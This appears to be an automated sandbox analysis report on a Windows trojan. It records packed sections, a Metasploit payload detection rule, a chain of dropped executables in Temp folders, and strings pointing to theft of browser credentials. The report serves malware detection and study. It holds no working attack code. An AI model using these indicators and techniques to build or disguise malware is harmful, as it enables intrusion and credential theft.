Source: file.exe, 00000000.00000003.1672386222.00000000058A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673788571.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673676031.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666026780.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678556229.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685764725.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670695356.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686139290.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675204595.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684264446.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674707288.0000000005D26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666163003.0000000005CE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670836321.0000000005D05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678316776.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678415228.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672580791.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685953515.0000000005F0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.0000000005940000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676339153.0000000005D3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676747967.0000000005D50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671478585.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676483276.0000000005E2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673519153.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685488173.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669219623.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674356480.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674115663.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1665530262.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670987890.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678903942.0000000005E7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675935950.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675000313.0000000005D2C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673281492.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671780416.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668975471.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669363208.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671630387.0000000005D08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666465896.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676888476.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683822689.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670588421.0000000005DAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678048098.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676198499.0000000005C4A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683162352.0000000005D88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677310012.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681948919.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681473351.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684121781.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681787750.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679127250.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671121736.0000000005CF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667637172.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683970709.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682573340.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681240650.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673392651.0000000005D12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667530442.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672320963.0000000005812000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666370519.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1671270766.0000000005DB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682724357.0000000005D8A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668681371.0000000005CE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677454391.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672148632.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681051869.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667741368.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681633145.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667836614.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667930490.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680890344.0000000005E8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669768353.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1659722178.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677605911.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673892675.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685144352.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685321336.0000000005DA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679743629.0000000005E74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674237600.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677912197.0000000005E59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1669092019.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672241787.00000000058EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668346636.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678190872.0000000005D56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682420940.0000000005EB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682861905.0000000005ECE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1673195686.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676632104.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677033035.0000000005D38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683010273.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679535994.0000000005D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668865446.0000000005D8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679379176.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668032434.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674540807.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680675816.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679234585.0000000005D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1668511599.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1667179870.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686322448.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678725497.0000000005D61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684559608.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675792112.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677170137.0000000005E3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683342309.0000000005ECA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666714472.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1666565312.0000000005CE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1676068384.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683496015.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684414617.0000000005D93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1670474186.0000000005CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682103991.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680144358.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1672472665.0000000001109000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1674828959.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1675533565.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1677763327.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684949205.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680329575.0000000005E9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000012.00000002.2666308747.0000000002306000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000012.00000002.2666308747.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: file.exe	Static PE information: Section: ZLIB complexity 0.998114224137931
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: M20I1ZOZUN9VGSWFO63POXM.exe.0.dr	Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: skotes.exe.4.dr	Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: 9de8348ea3.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: random[1].exe0.6.dr	Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: 8301009305.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: 8301009305.exe.6.dr	Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: Section: ZLIB complexity 0.9981852435286104
Source: BJD5F4VU6P78HSX8.exe.11.dr	Static PE information: Section: dqejjcio ZLIB complexity 0.9941108464125561
Source: axplong.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9973124574250681
Source: axplong.exe.12.dr	Static PE information: Section: fzmtnikz ZLIB complexity 0.9946083408543923
Source: random[2].exe.20.dr	Static PE information: Section: iuotgoma ZLIB complexity 0.9950269020915429
Source: cc1af330ba.exe.20.dr	Static PE information: Section: iuotgoma ZLIB complexity 0.9950269020915429
Source: 69f64d774a.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9980836108934169

Source: axplong.exe.12.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 8301009305.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[1].exe0.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@39/33@19/5

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Code function: 3_2_055915D0 ChangeServiceConfigA,

3_2_055915D0

Source: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1402375952.00000000057A5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1401994425.00000000057D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519802629.00000000057D6000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131892780.00000000061EA000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2193850450.0000000001A06000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2131396570.0000000006208000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 0000000B.00000003.2192998167.00000000061EF000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2582927365.00000000053F4000.00000004.00000800.00020000.00000000.sdmp, 9de8348ea3.exe, 00000019.00000003.2583775078.00000000053C5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 36%

Source: F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: M20I1ZOZUN9VGSWFO63POXM.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696491690); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694); user_pref("app.update.lastUpdateTime.xpi-signatur

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe "C:\Users\user~1\AppData\Local\Temp\F6X2F3UEZZHU60K6EFJAM8MAJOVCZZ8.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe "C:\Users\user~1\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe"
Source: C:\Users\user\AppData\Local\Temp\M20I1ZOZUN9VGSWFO63POXM.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe "C:\Users\user~1\AppData\Local\Temp\1001698001\8301009305.exe"
Source: C:\Users\user\AppData\Local\Temp\1001698001\8301009305.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001776101\4264524541.exe "C:\Users\user~1\AppData\Local\Temp\1001776101\4264524541.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe "C:\Users\user~1\AppData\Local\Temp\1002431001\wintoolsone64.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001735001\de057a4668.exe "C:\Users\user~1\AppData\Local\Temp\1001735001\de057a4668.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user~1\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe "C:\Users\user~1\AppData\Local\Temp\SWB92CTM4OIX4M9DCKIEYGOPF.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe "C:\Users\user~1\AppData\Local\Temp\BJD5F4VU6P78HSX8.exe"
Source: C:\Users\user\AppData\Local\Temp\1002431001\wintoolsone64.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
